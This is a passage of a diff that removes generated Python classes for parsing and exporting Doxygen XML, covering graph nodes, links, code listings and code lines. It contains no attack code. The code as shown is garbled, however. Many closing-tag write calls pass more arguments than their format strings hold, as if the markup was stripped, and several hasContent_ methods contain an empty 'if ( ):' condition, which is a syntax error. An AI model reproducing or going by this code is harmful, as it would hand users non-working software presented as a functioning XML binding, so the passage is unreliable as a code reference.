hasContent_(self): - if ( - self.ref or - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) or - self.content_ - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='linkedTextType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('linkedTextType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'linkedTextType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='linkedTextType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='linkedTextType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='linkedTextType'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='linkedTextType', fromsubclass_=False, pretty_print=True): - if not fromsubclass_: - for item_ in self.content_: - item_.export(outfile, level, item_.name, namespaceprefix_, pretty_print=pretty_print) - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for ref_ in self.ref: - namespaceprefix_ = self.ref_nsprefix_ + ':' if (UseCapturedNS_ and self.ref_nsprefix_) else '' - ref_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ref', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - if node.text is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', node.text) - self.content_.append(obj_) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'ref': - obj_ = refTextType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ref', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ref'): - self.add_ref(obj_.value) - elif hasattr(self, 'set_ref'): - self.set_ref(obj_.value) - if not fromsubclass_ and child_.tail is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', child_.tail) - self.content_.append(obj_) -# end class linkedTextType - - -class graphType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, node=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - if node is None: - self.node = [] - else: - self.node = node - self.node_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, graphType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if graphType.subclass: - return graphType.subclass(*args_, **kwargs_) - else: - return graphType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_node(self): - return self.node - def set_node(self, node): - self.node = node - def add_node(self, value): - self.node.append(value) - def insert_node_at(self, index, value): - self.node.insert(index, value) - def replace_node_at(self, index, value): - self.node[index] = value - def hasContent_(self): - if ( - self.node - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='graphType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('graphType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'graphType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='graphType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='graphType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='graphType'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='graphType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for node_ in self.node: - namespaceprefix_ = self.node_nsprefix_ + ':' if (UseCapturedNS_ and self.node_nsprefix_) else '' - node_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='node', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'node': - obj_ = nodeType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.node.append(obj_) - obj_.original_tagname_ = 'node' -# end class graphType - - -class nodeType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, id=None, label=None, link=None, childnode=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.id = _cast(None, id) - self.id_nsprefix_ = None - self.label = label - self.label_nsprefix_ = None - self.link = link - self.link_nsprefix_ = None - if childnode is None: - self.childnode = [] - else: - self.childnode = childnode - self.childnode_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, nodeType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if nodeType.subclass: - return nodeType.subclass(*args_, **kwargs_) - else: - return nodeType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_label(self): - return self.label - def set_label(self, label): - self.label = label - def get_link(self): - return self.link - def set_link(self, link): - self.link = link - def get_childnode(self): - return self.childnode - def set_childnode(self, childnode): - self.childnode = childnode - def add_childnode(self, value): - self.childnode.append(value) - def insert_childnode_at(self, index, value): - self.childnode.insert(index, value) - def replace_childnode_at(self, index, value): - self.childnode[index] = value - def get_id(self): - return self.id - def set_id(self, id): - self.id = id - def hasContent_(self): - if ( - self.label is not None or - self.link is not None or - self.childnode - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='nodeType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('nodeType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'nodeType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='nodeType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='nodeType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='nodeType'): - if self.id is not None and 'id' not in already_processed: - already_processed.add('id') - outfile.write(' id=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.id), input_name='id')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='nodeType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.label is not None: - namespaceprefix_ = self.label_nsprefix_ + ':' if (UseCapturedNS_ and self.label_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%slabel>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(self.label), input_name='label')), namespaceprefix_ , eol_)) - if self.link is not None: - namespaceprefix_ = self.link_nsprefix_ + ':' if (UseCapturedNS_ and self.link_nsprefix_) else '' - self.link.export(outfile, level, namespaceprefix_, namespacedef_='', name_='link', pretty_print=pretty_print) - for childnode_ in self.childnode: - namespaceprefix_ = self.childnode_nsprefix_ + ':' if (UseCapturedNS_ and self.childnode_nsprefix_) else '' - childnode_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='childnode', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('id', node) - if value is not None and 'id' not in already_processed: - already_processed.add('id') - self.id = value - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'label': - value_ = child_.text - value_ = self.gds_parse_string(value_, node, 'label') - value_ = self.gds_validate_string(value_, node, 'label') - self.label = value_ - self.label_nsprefix_ = child_.prefix - elif nodeName_ == 'link': - obj_ = linkType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.link = obj_ - obj_.original_tagname_ = 'link' - elif nodeName_ == 'childnode': - obj_ = childnodeType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.childnode.append(obj_) - obj_.original_tagname_ = 'childnode' -# end class nodeType - - -class label(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, label) - if subclass is not None: - return subclass(*args_, **kwargs_) - if label.subclass: - return label.subclass(*args_, **kwargs_) - else: - return label(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def hasContent_(self): - if ( - - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='label', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('label') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'label': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='label') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='label', pretty_print=pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='label'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='label', fromsubclass_=False, pretty_print=True): - pass - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - pass -# end class label - - -class childnodeType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, refid=None, relation=None, edgelabel=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.refid = _cast(None, refid) - self.refid_nsprefix_ = None - self.relation = _cast(None, relation) - self.relation_nsprefix_ = None - if edgelabel is None: - self.edgelabel = [] - else: - self.edgelabel = edgelabel - self.edgelabel_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, childnodeType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if childnodeType.subclass: - return childnodeType.subclass(*args_, **kwargs_) - else: - return childnodeType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_edgelabel(self): - return self.edgelabel - def set_edgelabel(self, edgelabel): - self.edgelabel = edgelabel - def add_edgelabel(self, value): - self.edgelabel.append(value) - def insert_edgelabel_at(self, index, value): - self.edgelabel.insert(index, value) - def replace_edgelabel_at(self, index, value): - self.edgelabel[index] = value - def get_refid(self): - return self.refid - def set_refid(self, refid): - self.refid = refid - def get_relation(self): - return self.relation - def set_relation(self, relation): - self.relation = relation - def validate_DoxGraphRelation(self, value): - # Validate type DoxGraphRelation, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['include', 'usage', 'template-instance', 'public-inheritance', 'protected-inheritance', 'private-inheritance', 'type-constraint'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on DoxGraphRelation' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def hasContent_(self): - if ( - self.edgelabel - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='childnodeType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('childnodeType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'childnodeType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='childnodeType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='childnodeType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='childnodeType'): - if self.refid is not None and 'refid' not in already_processed: - already_processed.add('refid') - outfile.write(' refid=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.refid), input_name='refid')), )) - if self.relation is not None and 'relation' not in already_processed: - already_processed.add('relation') - outfile.write(' relation=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.relation), input_name='relation')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='childnodeType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for edgelabel_ in self.edgelabel: - namespaceprefix_ = self.edgelabel_nsprefix_ + ':' if (UseCapturedNS_ and self.edgelabel_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sedgelabel>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(edgelabel_), input_name='edgelabel')), namespaceprefix_ , eol_)) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('refid', node) - if value is not None and 'refid' not in already_processed: - already_processed.add('refid') - self.refid = value - value = find_attr_value_('relation', node) - if value is not None and 'relation' not in already_processed: - already_processed.add('relation') - self.relation = value - self.validate_DoxGraphRelation(self.relation) # validate type DoxGraphRelation - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'edgelabel': - value_ = child_.text - value_ = self.gds_parse_string(value_, node, 'edgelabel') - value_ = self.gds_validate_string(value_, node, 'edgelabel') - self.edgelabel.append(value_) - self.edgelabel_nsprefix_ = child_.prefix -# end class childnodeType - - -class edgelabel(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, edgelabel) - if subclass is not None: - return subclass(*args_, **kwargs_) - if edgelabel.subclass: - return edgelabel.subclass(*args_, **kwargs_) - else: - return edgelabel(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def hasContent_(self): - if ( - - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='edgelabel', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('edgelabel') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'edgelabel': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='edgelabel') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='edgelabel', pretty_print=pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='edgelabel'): - pass - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='edgelabel', fromsubclass_=False, pretty_print=True): - pass - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - pass - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - pass -# end class edgelabel - - -class linkType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, refid=None, external=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.refid = _cast(None, refid) - self.refid_nsprefix_ = None - self.external = _cast(None, external) - self.external_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, linkType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if linkType.subclass: - return linkType.subclass(*args_, **kwargs_) - else: - return linkType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_refid(self): - return self.refid - def set_refid(self, refid): - self.refid = refid - def get_external(self): - return self.external - def set_external(self, external): - self.external = external - def hasContent_(self): - if ( - - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='linkType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('linkType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'linkType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='linkType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='linkType', pretty_print=pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='linkType'): - if self.refid is not None and 'refid' not in already_processed: - already_processed.add('refid') - outfile.write(' refid=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.refid), input_name='refid')), )) - if self.external is not None and 'external' not in already_processed: - already_processed.add('external') - outfile.write(' external=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.external), input_name='external')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='linkType', fromsubclass_=False, pretty_print=True): - pass - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('refid', node) - if value is not None and 'refid' not in already_processed: - already_processed.add('refid') - self.refid = value - value = find_attr_value_('external', node) - if value is not None and 'external' not in already_processed: - already_processed.add('external') - self.external = value - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - pass -# end class linkType - - -class listingType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, filename=None, codeline=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.filename = _cast(None, filename) - self.filename_nsprefix_ = None - if codeline is None: - self.codeline = [] - else: - self.codeline = codeline - self.codeline_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, listingType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if listingType.subclass: - return listingType.subclass(*args_, **kwargs_) - else: - return listingType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_codeline(self): - return self.codeline - def set_codeline(self, codeline): - self.codeline = codeline - def add_codeline(self, value): - self.codeline.append(value) - def insert_codeline_at(self, index, value): - self.codeline.insert(index, value) - def replace_codeline_at(self, index, value): - self.codeline[index] = value - def get_filename(self): - return self.filename - def set_filename(self, filename): - self.filename = filename - def hasContent_(self): - if ( - self.codeline - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='listingType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('listingType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'listingType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='listingType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='listingType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='listingType'): - if self.filename is not None and 'filename' not in already_processed: - already_processed.add('filename') - outfile.write(' filename=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.filename), input_name='filename')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='listingType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for codeline_ in self.codeline: - namespaceprefix_ = self.codeline_nsprefix_ + ':' if (UseCapturedNS_ and self.codeline_nsprefix_) else '' - codeline_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='codeline', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('filename', node) - if value is not None and 'filename' not in already_processed: - already_processed.add('filename') - self.filename = value - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'codeline': - obj_ = codelineType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.codeline.append(obj_) - obj_.original_tagname_ = 'codeline' -# end class listingType - - -class codelineType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, lineno=None, refid=None, refkind=None, external=None, highlight=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.lineno = _cast(int, lineno) - self.lineno_nsprefix_ = None - self.refid = _cast(None, refid) - self.refid_nsprefix_ = None - self.refkind = _cast(None, refkind) - self.refkind_nsprefix_ = None - self.external = _cast(None, external) - self.external_nsprefix_ = None - if highlight is None: - self.highlight = [] - else: - self.highlight = highlight - self.highlight_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, codelineType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if codelineType.subclass: - return codelineType.subclass(*args_, **kwargs_) - else: - return codelineType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_highlight(self): - return self.highlight - def set_highlight(self, highlight): - self.highlight = highlight - def add_highlight(self, value): - self.highlight.append(value) - def insert_highlight_at(self, index, value): - self.highlight.insert(index, value) - def replace_highlight_at(self, index, value): - self.highlight[index] = value - def 